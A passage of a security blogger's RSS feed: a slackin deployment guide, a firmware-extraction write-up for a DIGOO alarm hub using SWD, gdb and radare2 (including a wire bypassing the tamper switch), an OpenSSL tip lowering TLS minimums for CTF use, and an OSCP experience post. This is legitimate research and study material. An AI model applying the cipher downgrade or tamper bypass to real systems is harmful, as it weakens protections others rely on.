&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-18-at-21.40.47.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Once you click the Create app button you will be sent to the Deploy tab. On this screen, select Github under the “Deployment method” section. &lt;em&gt;(If you have not already connected your Github account to Heroku and you will need to and allow Heroku access to your repos.)&lt;/em&gt; Once connected, search for the forked slackin repo usually named “slackin” and click the Connect button.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-18-at-21.48.10.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Once connected you will need to deploy it to Heroku. There are a few options to deploy the app, for the first deployment I ran a Manual deploy by clicking the Deploy Branch button. This will take a while and will display any errors that occur.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-18-at-21.53.01.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Moving forward if you wish to have Heroku automatically deploy any changes you make in Github to the slackin app click the “Enable Automatic Deploys” button.&lt;/p&gt;
&lt;p&gt;After the deploy is complete, select the Settings tab and add a few Config Vars. There are two settings that are required for slackin to operate. In these variables, we will enter the API keys you gathered earlier. The Google reCAPTCHA keys go into GOOGLE_CAPCHA_SECRET and GOOGLE_CAPCHA_SITEKEY. The Slack API keys go in SLACK_API_TOKEN and SLACK_SUBDOMAIN. the SLACK_SUBDOMAIN is the name of the Slack team that you are inviting users to.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-18-at-21.38.31.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Finally, to gather the URL that was assigned to the site you can scroll down on the Settings page to the Domains section and it is shown there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-19-at-13.12.58.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
You will now have a slackin instance setup for users to invite themselves to a slack team. For the mainesec team, I set up to domain redirection to the Heroku URL to make things a little simpler. If you encounter issues with slackin there is a lot of useful information in the &lt;a href=&#34;https://github.com/rauchg/slackin/issues&#34;&gt;Github issues&lt;/a&gt; for the main slackin repo.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Installing-slackin-on-Heroku.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>chat</category>
            
          
            
              <category>heroku</category>
            
          
            
              <category>node</category>
            
          
            
              <category>nodejs</category>
            
          
            
              <category>slack</category>
            
          
            
              <category>slackin</category>
            
          
        
        
          
            
              <category>Meta</category>
            
          
        
        
      </item>
      
      <item>
        <title>DIGOO DG-HOSA – Part 2 Firmware Extraction and Initial Analysis</title>
        <link>https://ben.the-collective.net/posts/2019-12-30-digoo-dg-hosa-part-2-firmware-extraction-and-initial-analysis/</link>
        <pubDate>Mon, 30 Dec 2019 10:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 30 Dec 2019 10:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-12-30-digoo-dg-hosa-part-2-firmware-extraction-and-initial-analysis/</guid>
        <description>This is a continuation from a previous post: https://ben.the-collective.net/hugo/posts/2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware/
Finding the connections Now that I have the lay of the land for the device (which that I outlined in my previous part of the series) the first thing I looked for is the debugging connections for the main GigaDevices processor. This processor looks to be the primary processor for the device and has the most valuable firmware. Since the board was well labeled I didn’t need to use any tools like a JTAGulator or an Arduino board with the JTAGenum firmware to identify which test points are the debug interface.</description>
        <content:encoded>&lt;p&gt;This is a continuation from a previous post: &lt;a href=&#34;https://ben.the-collective.net/hugo/posts/2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware/&#34;&gt;https://ben.the-collective.net/hugo/posts/2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;finding-the-connections&#34;&gt;Finding the connections&lt;/h2&gt;
&lt;p&gt;Now that I have the lay of the land for the device (which that I outlined in my previous &lt;a href=&#34;https://ben.the-collective.net/2019/08/21/digoo-dg-hosa-part-1-teardown-and-hardware/&#34;&gt;part of the series&lt;/a&gt;) the first thing I looked for is the debugging connections for the main GigaDevices processor. This processor looks to be the primary processor for the device and has the most valuable firmware. Since the board was well labeled I didn’t need to use any tools like a &lt;a href=&#34;http://www.grandideastudio.com/jtagulator/&#34;&gt;JTAGulator&lt;/a&gt; or an Arduino board with the &lt;a href=&#34;https://github.com/cyphunk/JTAGenum&#34;&gt;JTAGenum firmware&lt;/a&gt; to identify which test points are the debug interface. I was able to find the SWDIO, SWCLK, +3.3 and GND connections for the Serial Wire Debug (SWD) debug interface. This is the same interface that STM32 chips utilize and it provides similar functionality as a “standard” JTAG interface.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Serial Wire Debug (SWD) is a 2-pin (SWDIO/SWCLK) electrical alternative JTAG interface that has the same JTAG protocol on top. SWD uses an ARM CPU standard bi-directional wire protocol, defined in the ARM Debug Interface v5. This enables the debugger to become another AMBA bus master for access to system memory and peripheral or debug registers.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.silabs.com/community/mcu/32-bit/knowledge-base.entry.html/2014/10/21/serial_wire_debugs-qKCT&#34;&gt;https://www.silabs.com/community/mcu/32-bit/knowledge-base.entry.html/2014/10/21/serial_wire_debugs-qKCT&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the image below you can see the debug test points along with the with wires soldered to them to connect to my debugger. The proximity of these test points to the GD32F105 processor, it is a good assumption that they are for that chip.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-12-30-digoo-dg-hosa-part-2-firmware-extraction-and-initial-analysis-images/debug-header.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
As a bonus also pictured is my wire soldered around the switch on the upper left to bypass the intrusion detection function.&lt;/p&gt;
&lt;p&gt;For this project, I soldered wires to most of the test points across the board. This board has a ton of test points that maybe be useful to monitor signals over the course of this project. To manage the wiring for all of the test points on this project I created a test jig to keep the setup organized. The next picture shows my test setup.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-12-30-digoo-dg-hosa-part-2-firmware-extraction-and-initial-analysis-images/Debug-Bench-Setup-1.png&#34; alt=&#34;The firmware extraction setup&#34; /&gt;&lt;br /&gt;
This jig was inspired by some tweets long ago by &lt;a href=&#34;https://twitter.com/cybergibbons&#34;&gt;cybergibbons&lt;/a&gt; where he recommended doing something similar. Once all of the test wires were in place, I hooked up my ARM debugger of choice the &lt;a href=&#34;https://1bitsquared.com/products/black-magic-probe&#34;&gt;Black Magic Probe&lt;/a&gt; (BMP) from 1BitSquared and the process to started to extract the firmware.&lt;/p&gt;
&lt;p&gt;Initially, I tried to power the board using the BMP but I found that the BMP was not able to provide enough power to the board to support the minimum number of peripherals. The BMP can only supply 100mA of power. Some lights would come on but &lt;strong&gt;gdb&lt;/strong&gt; would not detect any devices connected. I ended up adding the USB connection you see in the photo to provide more power to the board.&lt;/p&gt;
&lt;p&gt;Now that everything is powered and connected I was able to use &lt;strong&gt;gdb&lt;/strong&gt; to attach to the board and dump the firmware of the device.&lt;/p&gt;
&lt;h2 id=&#34;extracting-the-firmware-gdb&#34;&gt;Extracting the firmware: gdb&lt;/h2&gt;
&lt;p&gt;The first step is to attach my local arm gdb build to the Blackmagic Probe which acts as a remote gdb server. I always find the &lt;a href=&#34;https://github.com/blacksphere/blackmagic/wiki/Useful-GDB-commands&#34;&gt;Useful GDB commands&lt;/a&gt; wiki page in the BMP wiki to be very useful in refreshing my memory. The syntax and terminal output I started with are:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;╭─locutus@theborgcube ~/Projects/RE-Digoo_DG-HOSA
╰─$ arm-none-eabi-gdb -ex &amp;#34;target extended-remote /dev/tty.usbmodemC2D9BBC31&amp;#34;
 GNU gdb (GNU Tools for ARM Embedded Processors) 7.10.1.20160616-cvs
 Copyright (C) 2015 Free Software Foundation, Inc.
 License GPLv3+: GNU GPL version 3 or later &amp;lt;a href=&amp;#34;http://gnu.org/licenses/gpl.html&amp;#34;&amp;gt;http://gnu.org/licenses/gpl.html&amp;lt;/a&amp;gt;
 This is free software: you are free to change and redistribute it.
 There is NO WARRANTY, to the extent permitted by law.  Type &amp;#34;show copying&amp;#34;
 and &amp;#34;show warranty&amp;#34; for details.
 This GDB was configured as &amp;#34;--host=x86_64-apple-darwin10 --target=arm-none-eabi&amp;#34;.
 Type &amp;#34;show configuration&amp;#34; for configuration details.
 For bug reporting instructions, please see:
 &amp;lt;a href=&amp;#34;http://www.gnu.org/software/gdb/bugs/&amp;#34;&amp;gt;http://www.gnu.org/software/gdb/bugs/&amp;lt;/a&amp;gt;.
 Find the GDB manual and other documentation resources online at:
 &amp;lt;a href=&amp;#34;http://www.gnu.org/software/gdb/documentation/&amp;#34;&amp;gt;http://www.gnu.org/software/gdb/documentation/&amp;lt;/a&amp;gt;.
 For help, type &amp;#34;help&amp;#34;.
 Type &amp;#34;apropos word&amp;#34; to search for commands related to &amp;#34;word&amp;#34;.
 /Users/locutus/.gdbinit:1: Error in sourced command file:
 No symbol table is loaded.  Use the &amp;#34;file&amp;#34; command.
 Remote debugging using /dev/tty.usbmodemC2D9BBC31
 (gdb) monitor
 Black Magic Probe (Firmware v1.6.1-1-g74af1f5) (Hardware Version 3)
 Copyright (C) 2015  Black Sphere Technologies Ltd.
 License GPLv3+: GNU GPL version 3 or later &amp;lt;a href=&amp;#34;http://gnu.org/licenses/gpl.html&amp;#34;&amp;gt;http://gnu.org/licenses/gpl.html&amp;lt;/a&amp;gt;
 (gdb) monitor swdp_scan
 Target voltage: 3.3V
 Available Targets:
 No. Att Driver
  1      STM32F1 high density
 (gdb) attach 1
 Attaching to Remote target
 0x08007b46 in ?? ()
 (gdb) dump binary memory firmware.bin 0x08000000 0x080FFFFF
 Cannot access memory at address 0x8080000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When I ran into the error at the end of the terminal output I was a bit confused until I looked at this memory layout of the chip in the datasheet and saw that I was overrunning the size of the first flash memory bank.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-12-30-digoo-dg-hosa-part-2-firmware-extraction-and-initial-analysis-images/Screen-Shot-2019-11-16-at-12.38.00.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
&lt;a href=&#34;https://datasheet.lcsc.com/szlcsc/GigaDevice-Semicon-Beijing-GD32F105RCT6_C80491.pdf&#34;&gt;datasheet&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After I adjusted the GDB dump command…&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(gdb) dump binary memory firmware.bin 0x08000000 0x0807FFFF
(gdb)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;…success!&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;╭─locutus@theborgcube ~/Projects/RE-Digoo_DG-HOSA
╰─$ ls -l firmware.bin
 -rw-r--r--  1 locutus  staff  524287 Nov 16 14:13 firmware.bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I now have a copy of the firmware we can do some initial analysis of it.&lt;/p&gt;
&lt;h2 id=&#34;initial-analysis&#34;&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;First thing first like with any binary I start by running strings to get some hints on the contents of the binary and make sure it is a valid dump. I found a ton of strings showing this is a valid dump of the firmware, most notably the same markings on the board showing up in the firmware:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;PCB:PG-103 VER2.3/FIRMWARE: 103-2G-J
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and other strings indicate that they are using the Real-Time Operating system (RTOS) &lt;a href=&#34;https://en.wikipedia.org/wiki/Micro-Controller_Operating_Systems#%C2%B5C/OS-III&#34;&gt;OS-III&lt;/a&gt; (&lt;a href=&#34;https://www.micrium.com/rtos/kernels/&#34;&gt;link2&lt;/a&gt;) as the operating system. The Micrium site does not specifically list the Gigadevices chip in the supported just the general ARM Cortex-M3 cores as supported.&lt;/p&gt;
&lt;p&gt;Seeing this let me know that reversing this firmware will be much more complex then I had hoped. The RTOS will add a lot of scheduling and random functions to look into. After this initial investigation, it is time to load the firmware into &lt;a href=&#34;https://www.radare.org/r/&#34;&gt;Radare&lt;/a&gt;. I used the following command when loading it up:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;r2 -a arm -b 16 -m 0x0800c000 firmware.bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This syntax sets the proper processor (&lt;strong&gt;-a&lt;/strong&gt;) and CPU register size (&lt;strong&gt;-b&lt;/strong&gt;) and starting memory location (&lt;strong&gt;-m&lt;/strong&gt;). Once loaded I run an initial analysis job to see what Radare finds.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[0x0800c000]&amp;gt; aaa
 [x] Analyze all flags starting with sym. and entry0 (aa)
 [x] Analyze function calls (aac)
 [x] find and analyze function preludes (aap)
 [x] Analyze len bytes of instructions for references (aar)
 [x] Check for objc references
 [x] Check for vtables
 [x] Finding xrefs in noncode section with anal.in=io.maps
 [x] Analyze value pointers (aav)
 [x] Value from 0x0800c000 to 0x0808bfff (aav)
 [x] 0x0800c000-0x0808bfff in 0x800c000-0x808bfff (aav)
 [x] Emulate code to find computed references (aae)
 [x] Type matching analysis for all functions (aaft)
 [x] Use -AA or aaaa to perform additional experimental analysis.

[0x0800c000]&amp;gt; afl |wc -l
      844
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Radare found 844 functions without any hints or adjustments. In some of the work I have already done, there are even more than 844 functions. Now that I have a copy of the firmware, I’ve dived in and started analyzing the firmware which as of writing is still a work in progress. As I get further along I will cover some of the techniques I am using to take apart this firmware.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/DIGOO-DG-HOSA-%e2%80%93-Part-2-Firmware-Extraction-and-Initial-Analysis.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>digoo dg-hosa</category>
            
          
            
              <category>firmware</category>
            
          
            
              <category>gd32105</category>
            
          
            
              <category>gdb</category>
            
          
            
              <category>gigadevices</category>
            
          
            
              <category>hardware</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Electronics</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Enabling old TLS / SSL ciphers in OpenSSL</title>
        <link>https://ben.the-collective.net/posts/2019-12-18-enabling-old-tls-ssl-ciphers-in-openssl/</link>
        <pubDate>Wed, 18 Dec 2019 14:58:55 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 18 Dec 2019 14:58:55 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-12-18-enabling-old-tls-ssl-ciphers-in-openssl/</guid>
        <description>I was reminded of this tip during the CTF at a recent DC207 meetup. This config change is needed on machines with modern versions of OpenSSL that have disabled the older ciphers. The issue is that the old TLS, SSL and associated cipher suites have become insecure and support is subsequently dropped in OpenSSL.
For a workaround to this, you can edit the following lines at the bottom of /etc/ssl/openssl.cnf</description>
        <content:encoded>&lt;p&gt;I was reminded of this tip during the CTF at a recent DC207 meetup. This config change is needed on machines with modern versions of OpenSSL that have disabled the older ciphers. The issue is that the old TLS, SSL and associated cipher suites have become insecure and support is subsequently dropped in OpenSSL.&lt;/p&gt;
&lt;p&gt;For a workaround to this, you can edit the following lines at the bottom of /etc/ssl/openssl.cnf&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[system_default_sect]
 MinProtocol = TLSv1
 CipherString = DEFAULT@SECLEVEL=1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It may be required to comment out similar lines in the config if they already exist.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>Kali Linux</category>
            
          
            
              <category>linux</category>
            
          
            
              <category>OpenSSL</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Reblog: How to Address 3 Next-Generation Firewall Management Challenges</title>
        <link>https://ben.the-collective.net/posts/2019-10-23-reblog-how-to-address-3-next-generation-firewall-management-challenges/</link>
        <pubDate>Wed, 23 Oct 2019 09:00:40 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 23 Oct 2019 09:00:40 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-10-23-reblog-how-to-address-3-next-generation-firewall-management-challenges/</guid>
        <description>Check out the post I post for the CDW Blog:
How to Address 3 Next-Generation Firewall Management Challenges
https://blog.cdw.com/services/how-to-address-3-next-generation-firewall-management-challenges</description>
        <content:encoded>&lt;blockquote&gt;
&lt;p&gt;Check out the post I post for the CDW Blog:&lt;/p&gt;
&lt;p&gt;How to Address 3 Next-Generation Firewall Management Challenges&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.cdw.com/services/how-to-address-3-next-generation-firewall-management-challenges&#34;&gt;https://blog.cdw.com/services/how-to-address-3-next-generation-firewall-management-challenges&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/How-to-Address-3-Next-Generation-Firewall-Management-Challenges1.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>firewall</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>My OSCP Experience</title>
        <link>https://ben.the-collective.net/posts/2019-09-13-my-oscp-experience/</link>
        <pubDate>Fri, 13 Sep 2019 09:00:10 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Fri, 13 Sep 2019 09:00:10 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-09-13-my-oscp-experience/</guid>
        <description>What is the OSCP Offensive Security Certified Professional (OSCP) is an entry-level hands-on penetration testing certification. The OSCP is one of a few certifications by Offensive Security. It consists of the self-study Penetration Testing Training with Kali Linux (PwK) class and an online proctored practical exam.
The course costs at minimum $800 USD and includes 30 days of lab access and one OSCP exam attempt. There are packages that include longer lab access and you can extend your lab access if you find you need longer to prepare.</description>
        <content:encoded>&lt;h2 id=&#34;what-is-the-oscp&#34;&gt;What is the OSCP&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://%20https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/&#34;&gt;Offensive Security Certified Professional (OSCP)&lt;/a&gt; is an entry-level hands-on penetration testing certification. The OSCP is one of a few certifications by &lt;a href=&#34;https://www.offensive-security.com/&#34;&gt;Offensive Security&lt;/a&gt;. It consists of the self-study &lt;a href=&#34;https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/&#34;&gt;Penetration Testing Training with Kali Linux (PwK)&lt;/a&gt; class and an online proctored practical exam.&lt;/p&gt;
&lt;p&gt;The course costs at minimum $800 USD and includes 30 days of lab access and one OSCP exam attempt. There are packages that include longer lab access and you can extend your lab access if you find you need longer to prepare.&lt;/p&gt;
&lt;h2 id=&#34;what-isnt-the-oscp&#34;&gt;What ISN’T the OSCP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Current methods and techniques&lt;/li&gt;
&lt;li&gt;It won’t make you a l33t hax0r, but you will learn fundamentals&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;how-long-did-you-study&#34;&gt;How long did you study?&lt;/h2&gt;
&lt;p&gt;I started working on it on Sept 2018, then life and the holidays got in the way of dedicated study time. I kept slowly and intermittently practicing until April 2019 when I REALLY started to get serious about completing the OSCP. This started crunch time. I am lucky that my partner was on board with me locking my self away to focus on labbing. I took the exam on May 9th 2019.&lt;/p&gt;
&lt;h2 id=&#34;how-did-you-do-to-study&#34;&gt;How did you do to study?&lt;/h2&gt;
&lt;p&gt;I started by going through both the Offensive Security’s Penetration Testing with Kali Linux (PwK) workbook and then watching the associated videos. They are both fantastic resources providing a solid base of knowledge you need for the exam. I had the printed out the PwK workbook printed out and bound to save my eyes from staring at a screen. Through all my studies, I took a lot of notes. I used these notes when working on machines in the lab, exam, and other CTF style boxes I worked. Below are copies of the notes I created while studying.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/buffer-overflows/&#34;&gt;Buffer Overflows&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/enumeration/&#34;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/metasploit/&#34;&gt;Metasploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/password-attacks/&#34;&gt;Password attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/pivoting/&#34;&gt;Pivoting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/shell-and-linux-unix/&#34;&gt;Shell and Linux / UNIX&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/web-exploitation-2/&#34;&gt;Web Exploitation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ben.the-collective.net/oscp-notes/windows/&#34;&gt;Windows&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once I completed the workbook and videos, it was time to sit down and start to work on machines in the Lab. While working on the labs I began to branch out and gather and learn from various sources across the internet. As I worked through the lab and got closer to my date, I started to focus on my weak topics for me that were Windows Exploitation and Windows Privilege Escalation. I have added some of the main links and books I used to study, there are many more links in &lt;a href=&#34;https://ben.the-collective.net/oscp-notes/&#34;&gt;my notes&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;links&#34;&gt;Links&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&#34;&gt;IppSec videos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://0xc0ffee.io/blog/OSCP-Goldmine&#34;&gt;http://0xc0ffee.io/blog/OSCP-Goldmine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms&#34;&gt;OSCP-like Vulnhub VMs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://phrack.org/issues/49/14.html&#34;&gt;Phrack – Smashing The Stack For Fun And Profit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gtfobins.github.io/&#34;&gt;GTFOBins&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation&#34;&gt;Basic Linux Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pentestmonkey.net/category/cheat-sheet/sql-injection&#34;&gt;Pentestmonkey SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.fuzzysecurity.com/tutorials/16.html&#34;&gt;Windows Privilege Escalation Fundamentals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;books&#34;&gt;Books&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Penetration Testing: A Hands-On Introduction to Hacking – Georgia Weidman&lt;/li&gt;
&lt;li&gt;The Hacker Playbook: Practical Guide To Penetration Testing – Peter Kim&lt;/li&gt;
&lt;li&gt;The Hacker Playbook 2: Practical Guide To Penetration Testing – Peter Kim&lt;/li&gt;
&lt;li&gt;Hacking: The Art of Exploitation – Jon Erickson&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;span-classez-toc-section-idomg_the_exame280a6spanomg-the-exam&#34;&gt;&lt;span class=&#34;ez-toc-section&#34; id=&#34;OMG_the_Exam%E2%80%A6&#34;&gt;&lt;/span&gt;OMG the Exam…&lt;/h2&gt;
&lt;p&gt;The OSCP exam is a practical test that is 24 hours of hacking in a mock environment attempting to break into various targets. You will then have another 24 hours to write a report based on your findings from the exam. To obtain your OSCP you must submit a report I’ll talk more about the report later. The Exam is proctored, you will run software that will capture your screen and webcam, both of which will also be monitored by one or more proctors. There are limits to the tools you can during the Exam:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Spoofing (IP, ARP, DNS, NBNS, etc)&lt;br /&gt;
Commercial tools or services (Metasploit Pro, Burp Pro, etc.)&lt;br /&gt;
Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja etc.)&lt;br /&gt;
Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT, etc.)&lt;br /&gt;
Features in other tools that utilize either forbidden or restricted exam limitations&lt;br /&gt;
You are limited to use Metasploit once during the lab&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://support.offensive-security.com/oscp-exam-guide/&#34;&gt;https://support.offensive-security.com/oscp-exam-guide/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These limitations are an example of why it is important to fully read through the exam guide and reporting template to make sure you have all the proofs and meet the reporting requirements. These guides are found at the following links:&lt;/p&gt;
&lt;p&gt;Lab and Exam Reporting Info: &lt;a href=&#34;https://support.offensive-security.com/pwk-reporting/&#34;&gt;https://support.offensive-security.com/pwk-reporting/&lt;/a&gt;&lt;br /&gt;
OSCP Exam Guide: &lt;a href=&#34;https://support.offensive-security.com/oscp-exam-guide/&#34;&gt;https://support.offensive-security.com/oscp-exam-guide/&lt;/a&gt;&lt;br /&gt;
Proctoring FAQ: &lt;a href=&#34;https://support.offensive-security.com/proctoring-faq/&#34;&gt;https://support.offensive-security.com/proctoring-faq/&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;my-exam-agenda&#34;&gt;My exam agenda&lt;/h3&gt;
&lt;p&gt;When planning for my Exam I created a high-level schedule to follow. This is an important and way for me to get organized. My exam started at 9:00 am allowing me to follow a similar routine to what I do normally.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wake up … Breakfast&lt;/li&gt;
&lt;li&gt;Connect to Proctor and follow preocess – 15 mins before start&lt;/li&gt;
&lt;li&gt;Receive access details and connect to VPN – 15 mins&lt;/li&gt;
&lt;li&gt;Read requirements and write down in notes – 30 – 45 mins&lt;/li&gt;
&lt;li&gt;Initial Enumeration of targets – 1 hour&lt;/li&gt;
&lt;li&gt;Hack Away!&lt;/li&gt;
&lt;li&gt;Eat Lunch&lt;/li&gt;
&lt;li&gt;Hack…&lt;/li&gt;
&lt;li&gt;Eat Dinner&lt;/li&gt;
&lt;li&gt;Probably still Hack…..&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;exam-tips-and-tactics&#34;&gt;Exam Tips and Tactics&lt;/h3&gt;
&lt;p&gt;This is a list of various mostly non-technical tips I have for when taking the Exam. When reading through people’s challenges on Reddit, Twitter and Blog posts I saw a lot of people ran into less than technical issues when taking their Exams.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I’ll repeat this here make sure you read through the exam guide and reporting template to make sure you have all the proofs and meet the reporting requirements!&lt;/li&gt;
&lt;li&gt;Attempt to limit distractions and find ways to go into flow&lt;/li&gt;
&lt;li&gt;Manage your Time Management wisely
&lt;ul&gt;
&lt;li&gt;I used Pomodoro to help divide up my day. This method is ~25 minutes working, take a 5-minute break, repeat. I changed targets on each cycle if I was not making progress and was just grinding away on a machine. This method helped me getting stuck on one machine for extended periods of time.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Keep a timeline of the day
&lt;ul&gt;
&lt;li&gt;This will help you reference and screenshots or recordings you created later.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;You are your own worst enemy: Avoid going down a rabbit hole
&lt;ul&gt;
&lt;li&gt;Breath…go for a walk…pet a cat…Have a snack…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Enumerate Enumerate Enumerate
&lt;ul&gt;
&lt;li&gt;If you are not finding your way into a system or the way to escalate privilege, enumerate more.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Screenshot, Screen record, track everything! This will take the stress off of creating the report the next day.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;reporting&#34;&gt;Reporting&lt;/h2&gt;
&lt;p&gt;There are two topics when it comes to reporting there is the Lab report and the Exam report. Offensive Security provides a guide for reporting at the following URL: &lt;a href=&#34;https://support.offensive-security.com/pwk-reporting/&#34;&gt;https://support.offensive-security.com/pwk-reporting/&lt;/a&gt;. This contains some templates and some recommendations on how to manage data.&lt;/p&gt;
